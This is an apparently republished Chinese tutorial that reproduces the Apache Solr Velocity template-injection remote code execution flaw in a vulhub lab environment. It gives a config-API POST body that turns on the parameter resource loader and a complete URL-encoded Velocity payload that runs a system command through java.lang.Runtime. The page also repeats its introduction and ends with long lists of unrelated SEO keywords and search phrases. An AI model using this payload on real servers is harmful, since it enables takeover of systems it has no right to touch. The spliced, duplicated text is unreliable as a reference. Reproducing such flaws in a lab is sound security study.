Apache Solr Velocity模板注入RCE漏洞复现是怎样的
发表于:2025-02-10 作者:千家信息网编辑
千家信息网最后更新 2025年02月10日,这期内容当中小编将会给大家带来有关Apache Solr Velocity模板注入RCE漏洞复现是怎样的,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。0x00 简介
千家信息网最后更新 2025年02月10日Apache Solr Velocity模板注入RCE漏洞复现是怎样的0x00 简介
该漏洞的产生是由于两方面的原因: 当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。 Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。
当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。(来自360CERT)
Apache Solr 5.x - 8.2.0,存在config API版本
自行搭建:
这期内容当中小编将会给大家带来有关Apache Solr Velocity模板注入RCE漏洞复现是怎样的,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。
0x00 简介
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
0x01 漏洞概述
当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。(来自360CERT)
0x02 影响范围
Apache Solr 5.x - 8.2.0,存在config API版本
0x03 环境搭建
在线环境:
转发本文到朋友圈,截图发至公众号
自行搭建:
使用vulhub中CVE-2019-0193的环境进行搭建
启动vulhub环境:
git clone https://github.com/vulhub/vulhub.gitcd vulhub/solr/CVE-2019-0193docker-compose up -d
创建名为test的Core:
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
搭建好后默认端口为8983,访问http://ip:8983 即可
0x04 漏洞利用
利用前提:攻击者需要知道Solr服务中Core的名称才能执行攻击
如上图所示的这个名称就是Core的名称
直接构造POST请求,在/solr/test/config目录POST以下数据(修改Core的配置)
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" }}
然后使用公开的exp发送请求
http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
即可成功执行命令
上述就是小编为大家分享的Apache Solr Velocity模板注入RCE漏洞复现是怎样的了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注行业资讯频道。
漏洞
攻击
参数
可以通过
环境
服务
名称
攻击者
服务器
模板
内容
命令
就是
插件
文件
格式
用户
资源
分析
控制
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
数据库三级封锁的目的
微软公司旗下的数据库有哪些
关于计算机的网络技术
太原推广机器人rpa软件开发
数据库打不开找不到系统文件
曙光牌云管理服务器
网络安全监控分析技术
sql查询值出现重复数据库
银行内部网络服务器在哪里
恭城租房软件开发
阿里云源代码如何布置到服务器上
北京软件开发基地
学生网络安全事项
美国中央情报局的后台数据库
数据库能设置用户权限吗
数据库常用的存储方法是
有没有网络技术论坛
网络安全工程师发展路线
db2数据库镜像还原
广东网络技术院校
深圳软件开发求职
国家数据统计局数据库
武隆县软件开发培训
web数据库开源
马士兵网络安全怎么样
数据库通配符%的用法
sybase数据库怎么迁移
信得过的hmi软件开发
pc上位机软件开发
app软件开发常用指南